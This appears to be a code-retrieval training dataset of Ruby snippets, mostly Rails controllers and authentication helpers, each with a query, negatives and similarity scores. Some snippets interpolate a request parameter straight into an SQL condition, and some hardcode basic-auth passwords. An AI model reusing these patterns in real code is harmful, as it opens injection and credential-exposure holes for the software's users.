"def by_category\n @page_title = \"Expenses [by Category]\"\n @categories = @current_user.categories.find(:all)\n\n respond_to do |format|\n format.html # by_category.html.erb\n format.xml { render :xml => @categories }\n format.iphone do # by_category.iphone.erb\n @panel_title = @page_title\n render :layout => false\n end\n end\n end", "def index\n @category = params[:category]\n if @category\n @category_s = Item.categories_s(@category)\n @items = @course.items.find(:all, :conditions => [\"lower(category) IN (?)\", @category.downcase.split(' ')])\n else\n @category_s = 'All Items'\n @items = @course.items\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end", "def index\n authorize WorkCategory\n @filterrific = initialize_filterrific(\n WorkCategory,\n params[:filterrific]\n ) or return\n @selected_per_page = get_session_per_page(WorkCategory.per_page)\n @work_categories = @filterrific.find.page(params[:page]).per_page(@selected_per_page)\n end", "def index\n @categories = Category.all.paginate(page: params[:page], per_page: 9)\n end", "def category_selection(category)\n category = Public_apis.find_by_name(category)\n #goes over list item array . find method to find item\n\n \n end", "def index\n if params[:category].nil?\n if params[:search].present?\n @search = Listing.search do\n fulltext params[:search]\n with(:is_open, true)\n paginate :page => params[:page], :per_page => LISTINGS_PER_PAGE\n end\n @listings = @search.results\n else\n @listings = Listing.where(:is_open => true).reverse_order.page(params[:page]).per(LISTINGS_PER_PAGE)\n end\n elsif Category.where( :name => params[:category] ).present?\n @category_id = Category.where( :name => params[:category] ).first.id\n @listings = Listing.where( :category_id => @category_id , :is_open => true).reverse_order.page(params[:page]).per(LISTINGS_PER_PAGE)\n end\n @categories = Category.all.map{|c| [ c.name, c.id ] }\n end", "def index\n @category = params[:category]\n conditions = {:page => params[:page], :order => 'id DESC'}\n case @category\n when nil\n @article_categories = ArticleCategory.paginate conditions\n when ''\n @article_categories = ArticleCategory.paginate conditions\n# when '未分类'\n# @article_categories = ArticleCategory.paginate_by_category '', conditions\n else\n conditions[:conditions] = \"category = '#{@category}'\"\n @article_categories = ArticleCategory.paginate conditions\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @article_categories }\n end\n end", "def categories\n # list results from search results piped in from side nav categories\n @experiments = Experiment.find(:status => true)\n respond_to do |format|\n format.html { render :action => \"list\" }\n format.xml { render :xml => @experiments }\n end\n\n end", "def index\n @link_categories = LinkCategory.all\n end", "def index\n page_info = get_paging_order_info\n @search = Category.search(params[:q])\n @categories = @search.result(:distinct => true).paginate(page: page_info[:page], per_page: page_info[:limit])\n end", "def category\n if params[:city] == \"sf\"\n @city = \"San Francisco\"\n elsif params[:city] == \"ny\"\n @city = \"New York\"\n end\n @listings = Listing.find_all_by_city(@city)\n end", "def index\n @categories = Category.paginate(:page => params[:page], :per_page => 20).order(\"created_at DESC\")\n end", "def index\n @admin_section = true\n @page_title = \"Course Categories\"\n \n @course_categories = CourseCategory.paginate(:all, :per_page=>10, :page=>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @course_categories }\n end\n end", "def index\n @mk_categories = MkCategoria.all\n end", "def index\n @contact_categories = ContactCategory.all\n end", "def index\n if params[:category]\n @search = Category.search :name_like => params[:category][:name]\n params.clear\n else\n @search = Category.search(params[:search])\n end\n\n @categories = @search.paginate(:per_page => \"20\", :page => params[:page])\n\n redirect_to admin_category_path(@categories.first, params) and return if (@categories.size.eql?(1))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @categories }\n end\n end", "def index\n @business_categories = BusinessCategory.all\n end", "def index\n @business_categories = BusinessCategory.all\n end", "def parse_category(category_id, name, url)\n category_links_count = 0 # Total links in category.\n page_number = 1\n is_parse_next_page = true\n\n load_page url\n return 0 unless @browser\n\n while is_parse_next_page\n category_page_links = [] # Links on one category page.\n display_info \"Category: \\e[33;1m#{name}\\e[0m, \\e[34;1m#{url}\\e[0m, page: \\e[34;1m#{page_number}\\e[0m\"\n\n product_links_html = @browser.find('#showWindow .columnType').all 'ul li p.p_title a'\n\n # Saving founded links.\n if product_links_html.blank?\n display_error 'Products links not found.'\n else\n product_links_html.each do |product_link_node|\n unless product_link_node[:href].blank?\n category_page_links << product_link = get_link_path(product_link_node[:href])\n category_links_count += 1\n save_donor_product_link(category_id, product_link) unless DRY_RUN\n end\n end\n display_info \"Products count: \\e[34;1m#{category_page_links.count}\\e[0m\"\n ap category_page_links\n end\n\n # Check for next page existing and selecting it.\n if @browser.first('#paging1 span a.select')\n if (next_page_link = @browser.first('#paging1 span a.select + a')) # Next after selected exists?\n next_page_link.click # Click on it.\n else\n if (next_ten_pages_link = @browser.first('#paging1 a.next')) # Next 10 pages button exists?\n next_ten_pages_link.click # Click on it.\n else\n is_parse_next_page = false\n end\n end\n else\n if (first_page_link = @browser.first('#paging1 span a')) # First page link exists?\n first_page_link.click # Click on it.\n else\n is_parse_next_page = false\n end\n end\n\n page_number += 1\n end\n\n category_links_count\n end", "def index\n @partial = {\n name: 'categories'\n }\n @partial = partial_by_category unless @category.nil?\n @partial = partial_by_site_storage unless @json_data[:site_storage].nil?\n end", "def index\n @men_shop_collection_categories = MenShopCollectionCategory.all\n end", "def scrap_data_from_page link\n p link\n page = @agent.get(link)\n\n # get all categories\n get_items_with_all_category(page)\nend", "def scrap_data_from_page link\n p link\n page = @agent.get(link)\n\n # get all categories\n get_items_with_all_category(page)\nend" ]
[ "0.734375", "0.6995736", "0.6966665", "0.6959313", "0.6819947", "0.66477656", "0.66477656", "0.66477656", "0.66477656", "0.6521306", "0.64818853", "0.6464777", "0.6423017", "0.6418467", "0.638049", "0.6349131", "0.6339463", "0.6338715", "0.63326764", "0.63326764", "0.63326764", "0.63326764", "0.63287646", "0.6311992", "0.63086295", "0.62902796", "0.62773305", "0.62329423", "0.62296116", "0.6221964", "0.620693", "0.6182117", "0.61783546", "0.61705446", "0.61689585", "0.61650884", "0.61613244", "0.6160265", "0.6153588", "0.6144037", "0.6134666", "0.61323243", "0.6132124", "0.612596", "0.61228836", "0.61176515", "0.6116883", "0.61147314", "0.6112483", "0.6107208", "0.6096176", "0.6095448", "0.6088519", "0.6085597", "0.6076478", "0.607017", "0.60591686", "0.6049026", "0.6042346", "0.6037431", "0.6037428", "0.6033459", "0.60295075", "0.60287523", "0.60180867", "0.60000294", "0.5995596", "0.59952813", "0.59947026", "0.5993045", "0.59917927", "0.5989854", "0.5989325", "0.5986075", "0.5985106", "0.59845686", "0.5984069", "0.5979605", "0.59779733", "0.5974997", "0.5972995", "0.5969766", "0.59683776", "0.5967535", "0.59665036", "0.59623843", "0.59614027", "0.5960725", "0.5959827", "0.59556216", "0.59399", "0.5919832", "0.5919652", "0.5917724", "0.5906546", "0.5906546", "0.5897519", "0.58889306", "0.58847433", "0.5884093", "0.5884093" ]
0.0
-1
Create a new instance of the serviceclass.
def initialize super("ssh-userauth") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @service = Service.new\n end", "def initialize_service_for_create\n @service = service_class.new(hashified_params, service_options)\n end", "def instantiate_service\n @service = ContestService.new\n end", "def create\n super(@@service)\n end", "def instantiate_service!(service, request)\n definition = service.kind_of?(Hash) ? service : service_definition_for(service.to_s)\n raise NoSuchService.new(\"Service '#{service}'' does not exist in umlaut-services.yml\") if definition.nil?\n className = definition[\"type\"] || definition[\"service_id\"]\n classConst = Kernel.const_get(className)\n service = classConst.new(definition)\n service.request = request\n return service\n end", "def create_service(data=nil)\n if (!data.blank? && data.is_a?(Hash))\n @service = Service.create(data)\n else\n @service = Service.create(:name => \"Test Service #{rand(1..1000)}\", :description => \"Test service description.\", :active => true, :probe => \"dummy\", :probe_config => {:value => 1}, :interval => 60, :clean_interval => 86400, :priority => Service::PRIORITY_NORMAL, :resume => :mean_value)\n end\n end", "def create\n @service = Service.create(service_params)\n end", "def initialize(service)\n @service = service\n end", "def new_climate_service\r\n @climate_service = ClimateService.new\r\n end", "def new_climate_service\r\n @climate_service = ClimateService.new\r\n end", "def init_service (service_name, service_class)\n\n if service_name\n #\n # if there is a service previously registered under the same name,\n # make sure to stop before it gets 'overriden' in the\n # application context\n\n s = @application_context[service_name]\n s.stop if s.respond_to?(:stop)\n end\n\n s = service_class.new(service_name, @application_context)\n\n unless service_name\n #\n # making sure to register the service. service#new doesn't\n # register when there is no service_name\n\n s.service_name = \"#{service_class.name}::#{s.object_id}\"\n @application_context[s.service_name.to_s] = s\n end\n\n s\n end", "def service\n StockManagementService.new\n end", "def new\n @service = Service.new\n\n # If a valid type is received, apply to the host to create.\n check_priority_param\n @service.priority = @priority if(!@priority.blank?)\n\n # Add custom views paths\n prepend_view_path \"app/views/services\"\n prepend_view_path \"lib/probes/#{@service.probe}/views\"\n\n respond_to do |format|\n format.html\n end\n end", "def create\n service = current_account.services.build\n create_service = ServiceCreator.new(service: service)\n create_service.call(service_params.to_h)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end", "def initialize (service_name, application_context)\n super\n end", "def create\n service = current_account.services.build\n create_service = ServiceCreator.new(service: service)\n create_service.call(service_params)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end", "def service\n @service ||= service_class.new(self, assessment: @assessment, submission: @submission)\n end", "def create_service\n # Check signals here to be nice and abort early if possible.\n check_signals!\n # Enable automatically creates the service with Runit.\n directory \"/var/log/#{new_resource.service_name}\" do\n owner 'root'\n group 'root'\n mode '700'\n end\n end", "def get_instance(payload)\n ServiceInstance.new(@version, payload)\n end", "def get_instance(payload)\n ServiceInstance.new(@version, payload)\n end", "def new_service(klass, *args)\n return new_digest(*args) if klass == Krypt::Digest\n nil\n end", "def new_service(service)\n \tOrder.new(\n \t\torderNumber: 37592,\n \t\tservice: service,\n\t\t\torderType: \"установка розетки\",\n\t\t\tnameOrFIO: \"Нибелунг Зигфрид Беовульфыч\",\n\t\t\tstreet: \"бул. Амурский\",\n\t\t\thouse: 10,\n\t\t\tresponsiblePerson: \"Витя Кабан\",\n\t\t\tpersonType: \"Физ лицо\",\n\t\t\tformingDate: \"2013-11-13\")\n end", "def create_service_instance(name, space_guid, service_plan_id)\n service_plan_instance = CFoundry::V2::ServicePlan.new(service_plan_id, @client)\n service_instance = @client.managed_service_instance\n service_instance.name = name\n service_instance.service_plan = service_plan_instance\n service_instance.space = @client.space(space_guid)\n service_instance.create!\n service_instance\n end", "def initialize(name)\n service = self.class.services[name]\n\n raise 'Undefined service' if service.nil?\n\n @type = service[:method]\n @name = service[:name]\n @endpoint = service[:endpoint]\n end", "def initialize(service = :uic)\n raise 'bad argument' unless service.is_a? Symbol\n @service_path = SERVICES[service]\n @client = SOAP::NetHttpClient.new\n end", "def create\n name_to_const.new\n end", "def create(name)\n object = new(name)\n @instances.push(object)\n object\n end", "def service(service_name, api_client)\n klazz = service_class(service_name)\n\n # raise an error unless the class inherits from Service\n unless klazz < Core::ServiceLayer::Service\n raise ServiceParentError,\n \"service #{klazz.name} is not a subclass of \\\n Core::ServiceLayer::Service\"\n end\n\n # create an instance of the service class\n klazz.try(:new, api_client)\n end", "def new(*args)\n raise NoMethodError.new(\"You can not instaniate this class!\")\n end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new(*args)\n self.class.new(*args)\n end", "def start_service\n object = DBusObject.new(@main, self)\n service = @bus.request_service(SERVICE)\n service.export object\n end", "def new(*args)\n self.class.new(*args)\n end", "def create\n @service_class = ServiceClass.new(service_class_params)\n\n respond_to do |format|\n if @service_class.save\n format.html { redirect_to @service_class, notice: 'Service class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @service_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @service_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def factory(klass, *args)\n klass.new(*args)\n end", "def instance(*options)\n all_options = @options.merge(options.to_options_hash)\n Rush::ServiceInstance.factory(@name, @box, all_options)\n end", "def build(configurator:, name:, service: nil, **service_config) # :nodoc:\n new(**service_config).tap do |service_instance|\n service_instance.name = name\n end\n end", "def newServiceCorp(corpConf)\n klass = SavServiceCorp.getSubClassByName(corpConf[:class]) ;\n corp = klass.new(@simulator, corpConf) ;\n return corp ;\n end", "def initialize(service_name = T.unsafe(nil), environment = T.unsafe(nil), options = T.unsafe(nil)); end", "def instantiate\n resource.new(data)\n end", "def create_and_register_service(service_hash)\n # SystemDebug.debug(SystemDebug.services, :attach_ing_create_and_egister_service, service_hash)\n create_and_register_managed_service(service_hash)\n end", "def create_service(opts = {})\n data, _status_code, _headers = create_service_with_http_info(opts)\n data\n end", "def instantiate(*args)\n clazz.new(*args)\n end", "def locate(service_name)\n klass = @services[service_name]\n raise \"Unknown service: #{service_name}\" unless klass\n klass.new\n end", "def create_service\n super.tap do |service_template|\n service_template.cookbook('poise-service')\n create_monit_config\n end\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def initialize(config)\n super(config, SERVICE_INFO)\n end", "def build\n klass = create_class(@class_name, @options)\n klass.new\n end", "def students_service(hash_params)\n @students_service ||= StudentsService.new(hash_params)\n end", "def new_service(service)\n @services[service.name] = service\n\n notify_observable_base(ObservableBase::SERVICE_ADDED, {:domain => @name, :service => service.name})\n return @services[service.name]\n end", "def create_instance request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_instance_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def initialize_reservation_service\n @reservation_service = ReservationService.new(reservation_params,\n user: current_user, \n category: params[:category]) \n end", "def initialize(name, domain)\n raise Exception.new(\"#{name} is not a valid service name\") unless valid_directory_name(name.to_s)\n \n @name = name\n @booted = false\n @domain = domain\n @full_name = \"#{domain.name}::#{@name}\"\n @path = \"#{SERVICES_PATH}/#{domain.name}/#{@name}\"\n @port_in = $port_start+=1\n @port_out = $port_start+=1\n @status = \"stopped\"\n @runtime = JJRuby.newInstance()\n \n # Create the domain directory if not present\n FileUtils.mkdir_p(@path, :mode => 0755)\n \n # And finally set the meta-data for the service\n @meta_data = ServiceMetaData.new(self)\n ContainerLogger.debug \"Service added #{domain.name}::#{name}\" \n end", "def new\n @service = Service.new\n @category = Service.categories.keys\n end", "def create( target_class, *args )\n @class_loader.newInstance(target_class, *args )\n end", "def initialize(name, service_id)\n VAPI::Util.check_type(self, 'name', name, String)\n VAPI::Util.check_type(self, 'service_id', service_id, ServiceIdentifier)\n self.name = name\n self.service_id = service_id\n end", "def create\n @service = Service.new(name: service_params[:name], current_request: request)\n @service = @service.becomes(service_params[:name].constantize) if @service.valid?\n @service.assign_attributes(service_params.merge({current_request: request}))\n @service.user = current_user\n\n respond_to do |format|\n if @service.save\n @service.authenticate\n format.html { redirect_to @service, notice: get_update_message('created') }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n \n end", "def initialize\n @services = {}\n end", "def algolia_new_service\n services = Algolia::Index.new(\"services\")\n res = services.add_object({\"title\" => self.title, \"user_id\" => self.user_id, \"id\" => self.id, \"price\" => self.price, \"due_date\" => self.due_date,\n \"youtube_url\" => self.youtube_url, \"category\" => self.category, \"sub_category\" => self.sub_category, \"description\" => self.description,\n \"refund\" => self.refund, \"status\" => self.status, \"title_seo\" => self.title_seo})\n self.algolia_id = res[\"objectID\"]\n self.save\n end", "def newInstance( params={} )\n model.new( params ).extend( InstanceMethods )\n end" ]
[ "0.813433", "0.8106599", "0.74702615", "0.7342044", "0.71809626", "0.7008772", "0.6948667", "0.6891608", "0.6887791", "0.6887791", "0.67984176", "0.6784219", "0.6761309", "0.66824305", "0.6647162", "0.6631954", "0.6617591", "0.65732557", "0.6518413", "0.6518413", "0.6510791", "0.6507021", "0.65027094", "0.6470285", "0.645656", "0.6451829", "0.644339", "0.6421048", "0.64060336", "0.6341599", "0.6341599", "0.6341599", "0.6341599", "0.6341599", "0.6341599", "0.6341599", "0.6341599", "0.6341599", "0.63299686", "0.63299686", "0.63299686", "0.63299686", "0.63299686", "0.63145036", "0.6310784", "0.63017905", "0.63017184", "0.62899405", "0.627845", "0.627772", "0.62523794", "0.62400967", "0.62383974", "0.6235279", "0.6233506", "0.6223855", "0.6210685", "0.62018067", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6200758", "0.6189027", "0.61889404", "0.6185071", "0.61781293", "0.6172668", "0.61652106", "0.6160541", "0.6149931", "0.61383355", "0.6138181", "0.6135259", "0.6122356", "0.6106518", "0.60998225" ]
0.0
-1
Assign a callback to enable _password authentication_. As soon as an callback is assigned here, _password authentication_ is enabled for the service. The assigned `Proc`instance will get two arguments: 1. The username of the authentication request, 2. The password received from the client. The return value of the callback decides how to handle the authentication attempt. If `true` is returned, then the authentication attept is successful and the whole service succeeds. Any other value will lead into an authentication failure.
def password(&blk) @authentication_methods ||= {} @authentication_methods[:password] = blk self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authenticate(request, realm, &password_procedure); end", "def login_with_username username, password, callback\n\t\t\t@method_callbacks['login'] = callback\n\t\t\t@auth_client = SRP::Client.new\n\t\t\t@username = username\n\t\t\t@password = password\n\t\t\t\n\n\t\t\ta = @auth_client.start_authentication()\n\t\t\tid = @ddp.call( 'beginPasswordExchange', { 'A' => a, user: { username: username } } )\n\n\t\t\t@method_callbacks[id] = { method: self.method(:handle_login_challenge), result: false, updated: false }\n\t\tend", "def authenticate(password)\n true\n end", "def authenticate(pass)\n password.is_password?(pass) && self\n end", "def has_authentication(&block)\n attr_reader :password\n attr_accessor :password_confirmation\n\n SimpleAuth.setup(&block)\n\n before_save :encrypt_password, :if => :validate_password?\n after_save :erase_password\n\n validates_presence_of :password, :if => :validate_password?\n validates_length_of :password, :if => :validate_password?, :minimum => 4, :allow_blank => true\n validates_presence_of :password_confirmation, :if => :validate_password?\n validates_confirmation_of :password, :if => :validate_password?\n end", "def authenticate_with_password(input_password)\n return false unless self.valid_password?(input_password)\n authenticate\n end", "def basic_auth(*args_or_proc)\n return @basic_auth unless args_or_proc\n @basic_auth = args_or_proc\n end", "def receive_plain_auth user, password\n true\n end", "def receive_plain_auth user, password\n true\n end", "def authenticate(controller, realm, &password_procedure)\n authorization(controller.request) && validate_digest_response(controller.request, realm, &password_procedure)\n end", "def authenticate password\n if self.password == password\n true\n else\n false\n end\n end", "def authenticate(password)\n user && user.password == password\n end", "def authenticate(passwd)\n User.password_hash(passwd.to_s, salt) == password ? self : false\n end", "def authenticate(password)\n self.authenticated?(password) ? self : nil\n end", "def authenticate!\n username_password_hash = username_password\n \n username = username_password_hash['username']\n password = username_password_hash['password']\n\n user = User.find_by_email(username)\n if user.nil? || user.password != password\n fail! :message => \"strategies.password.failed\"\n else\n success! user\n end\n end", "def password # This is what is called whenever @user.password is referenced. Returns a Password object from the data in a stored encrypted hash\n if password_hash != nil\n @password ||= Password.new(password_hash)\n else\n return false\n end\n end", "def password # This is what is called whenever @user.password is referenced. Returns a Password object from the data in a stored encrypted hash\n if password_hash != nil\n @password ||= Password.new(password_hash)\n else\n return false\n end\n end", "def password_requirements(&block) #:nodoc:\n self.send(:define_method, :is_valid_password?, block)\n end", "def setup_password_credentials\n config_key = credential_config_key\n\n if config(\"#{config_key}.user\") && config(\"#{config_key}.password\")\n $stderr.puts \"Password credentials already configured for API Provider #{api_url}\"\n unless yes?('Would you like to reconfigure the password for this provider?')\n $stderr.puts 'Nothing to do.'\n exit 1\n end\n end\n\n username, password, response = _auth_loop_request(\"#{api_url}/user\") { |url|\n Net::HTTP::Head.new(url.path)\n }\n\n case response\n when Net::HTTPOK\n $stdout.puts \"Storing username/password credentials for API Provider #{api_url} with key #{config_key}\"\n store_config_credentials(username, :password => password)\n else\n $stderr.puts \"Failed to acquire credentials: #{response.code}: #{response.message}\"\n end\n nil\n end", "def authenticate(passwd)\n\t\t\tres = sendrecv(%Q<AUTHENTICATE #{quote(passwd)}>)\n\n\t\t\tcase res.status_code\n\t\t\t\twhen 250 then true # success\n\t\t\t\twhen 515 then false # failure\n\t\t\t\telse raise(ControllerError, res)\n\t\t\tend\n\t\tend", "def authenticate(next_service, username, password = T.unsafe(nil)); end", "def authenticate(encrypted_password)\n proxy_u.authenticate(encrypted_password) && self\n end", "def authenticate\n auth.call(:authenticate)\n end", "def password_requirements(&block) #:nodoc:\n (class << self; self end).send(:define_method, :is_valid_password?, block)\n end", "def authenticate_with_http_digest(realm = T.unsafe(nil), &password_procedure); end", "def authenticate(field, password)\n @u = find_active_with_conditions(MA[:login_field] => field)\n @u = @u && @u.authenticated?(password) ? @u : nil\n end", "def authenticate(*args)\n return false unless active?\n\n if args.length > 1\n method = args.shift\n\n if respond_to?(\"authenticate_with_#{method}\")\n return self.send(\"authenticate_with_#{method}\", *args)\n end\n\n false\n else\n authenticate_with_password(args[0])\n end\n end", "def change_password_with(&blk)\n @change_password_with = blk if blk\n @change_password_with\n end", "def password_authentication\n if user = User.authenticate(params[:login], params[:password])\n successful_login(user,params[:url])\n else\n failed_login(user, \"Couldn't log you in as '#{params[:login]}'\")\n end\n end", "def authenticate password\n hash = BCrypt::Engine.hash_secret password, password_salt\n hash == password_hash\n end", "def auth\n basic_auth(env) { |user, pass| yield(user, pass) }\n end", "def verify_password(*)\n false\n end", "def authenticate!\n if (options = @config[:auth])\n auth_method = options.fetch(:type).to_s + '_auth'\n self.class.send(auth_method, options[:user], options[:password])\n end\n end", "def authenticate(attempted_password)\n if self.password == attempted_password\n true\n else\n false\n end\n end", "def authenticate(attempted_password)\n if self.password == attempted_password\n true\n else\n false\n end\n end", "def password_helper_password\n if defined?(@password_helper_password) && !@password_helper_password.nil?\n return @password_helper_password\n end\n\n @password_helper_password = if password_helper_command\n password_helper_call\n end\n end", "def authenticate(password)\n return :expired if expired?\n return :invalid unless check_password(password)\n user.auth_bounce_reason(self) || user\n end", "def authenticate!\n if params[:user]\n user = User.find_by(email: params[:user][:user_name])\n if user and user.local? and user.valid_password?(params[:user][:password])\n success!(user)\n else\n fail\n end\n elsif auth\n user = User.find_by(email: auth.credentials.first)\n if user and user.local? and user.valid_password?(auth.credentials[1])\n success!(user)\n else\n fail\n end\n else\n fail\n end\n end", "def basic_auth(*args, &block); end", "def process_plain_auth(user, password)\n if receive_plain_auth(user, password)\n reply 235, \"authentication ok\"\n @state << :auth\n else\n reply 535, \"invalid authentication\"\n end\n end", "def authenticate!\n #\n # mapping.to is a wrapper over the resource model\n #\n # Treat the password as idToken\n resource = mapping.to.firebase_authentication(token)\n\n return fail! unless resource\n\n # remote_authentication method is defined in Devise::Models::RemoteAuthenticatable\n #\n # validate is a method defined in Devise::Strategies::Authenticatable. It takes\n #a block which must return a boolean value.\n #\n # If the block returns true the resource will be loged in\n # If the block returns false the authentication will fail!\n #\n if validate(resource)\n success!(resource)\n end\n end", "def authenticate(next_service, username, password = nil)\n return false unless key_manager\n\n key_manager.each_identity do |identity|\n return true if authenticate_with(identity, next_service,\n username, key_manager)\n end\n\n return false\n end", "def authenticate\n authenticate_or_request_with_http_basic do |user, password|\n user == ChargebeeRails.configuration.webhook_authentication[:user] &&\n password == ChargebeeRails.configuration.webhook_authentication[:secret]\n end\n end", "def authenticate(password)\n !self.locked? && super\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n (user = User.find_by_name(username)) != nil \\\n && user.password == Digest::SHA1.hexdigest(password)\n end\n end", "def authenticate(username, password)\n end", "def authenticated?(password)\n self.hashed_password == encrypt(password) or using_bypass(password)\n end", "def authenticate(password)\n\t\tif (hash_password(password, salt)).eql?(hashed_password)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend", "def authenticate(auth_password)\n if(password_digest)\n password_digest == checksum(auth_password)\n else\n false\n end\n end", "def valid_password?; end", "def authenticate\n authenticate_or_request_with_http_basic(\"algo\") do |username, password|\n username == \"dupa\" && password == \"dupa\"\n end\n end", "def authenticate_via_identity password\n (provider == 'identity') &&\n (id = Identity.find_by_id(uid)) &&\n id.authenticate(password)\n end", "def authenticate_bb_password(bb_password_hash)\n bb_password_hash == bb_password ? self : false\n end", "def validate_password?\n provider == :password\n end", "def service_password( password )\n\t\t\tself.password_digest = Digest::SHA2.hexdigest( password )\n\t\t\tDRbService.log.debug \"Setting encrypted password for %p to \"\n\t\tend", "def password_auth\n\n service_response = AdminManagement::Login::PasswordAuth.new(\n params.merge(mfa_session_cookie_value: cookies.encrypted[GlobalConstant::Cookie.mfa_session_cookie_name.to_sym],\n ip_address: ip_address,\n browser_user_agent: http_user_agent)\n ).perform\n\n if service_response.success?\n # Set cookie\n set_cookie(\n GlobalConstant::Cookie.admin_cookie_name,\n service_response.data[:admin_auth_cookie_value],\n service_response.data[:admin_auth_cookie_value_expiry_time].from_now\n )\n\n if service_response.data[:mfa_session_cookie_value].present?\n set_cookie(\n GlobalConstant::Cookie.mfa_session_cookie_name,\n service_response.data[:mfa_session_cookie_value],\n GlobalConstant::Cookie.mfa_session_expiry.from_now,\n true\n )\n else\n delete_cookie(GlobalConstant::Cookie.mfa_session_cookie_name)\n end\n\n\n # Remove sensitive data\n service_response.data.delete(:admin_auth_cookie_value)\n service_response.data.delete(:admin_auth_cookie_value_expiry_time)\n service_response.data.delete(:mfa_session_cookie_value)\n end\n\n render_api_response(service_response)\n\n end", "def authenticate!(password)\n\t\t\tauth = User.perform_request User.api_url(\"users/authenticate\", {}), :post,\n\t\t\t\t{ email: self.email,\n\t\t\t\t\tpassword: password }, true\n\n\t\t\t# A bit of additional code here to keep the initialization tidy\n\t\t\tif auth\n\t\t\t\tif(self.respond_to? :token=)\n\t\t\t\t\tself.token = auth['data']['token']\n\t\t\t\telse\n\t\t\t\t\tself.class.send(:define_method, \"token=\") { |value| @token=value }\n\t\t\t\t\tself.class.send(:define_method, \"token\") { @token }\n\t\t\t\t\tself.token = auth['data']['token']\n\t\t\t\tend\n\t\t\t\ttrue\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend", "def authenticate_with_ldap(username, password, &block)\n op = operation { ldap.authenticate(username, password) }\n cb = proc {|user| save_ldap_user(user, &block) }\n EM.defer(op, cb)\n end", "def authenticate_with(identity, next_service, username); end", "def authenticate\n authenticate_or_request_with_http_basic(\"Fun!\") do |username, password|\n username == ENV[\"FUN_ADMIN_USER\"] && password == ENV[\"FUN_ADMIN_PASS\"]\n end\n end", "def authenticate(password)\n raise ArgumentError, \"email must be set\" if (self.email.nil? || self.email.to_s.empty?)\n response = Http.custom_auth_get(\n self.email,\n password,\n \"/accounts/api/auth/\"\n )\n raise \"unexpected response: #{response.code} - #{response.body}\" unless response.code == 200\n true\n rescue *[RestClient::Unauthorized] => e\n false\n end", "def authenticate\n authenticate_or_request_with_http_basic('Administration') do |username, password|\n username == 'igp' && password == 'ehkra!Q2w#e'\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def valid_for_api_authentication?(password=nil)\n # the valid_for_authentication? method is defined in Devise's models/authenticatable.rb and overloaded in models/lockable.rb\n # passed block will only run if user is NOT locked out\n valid_for_authentication? do\n # check if password is correct\n valid_password?(password) \n end\n end", "def authenticate_with(identity, next_service, username, key_manager); end", "def authenticate(username, password)\n true\n end", "def can_login?(password)\n if disabled?\n errors.add :base, :account_disable\n return false\n end\n\n unless authenticate(password)\n errors.add :base, :wrong_name_or_password\n return false\n end\n\n self\n end", "def valid_password?(password); end", "def Authentication\n call('', '')\n end", "def authenticate!(psw)\n 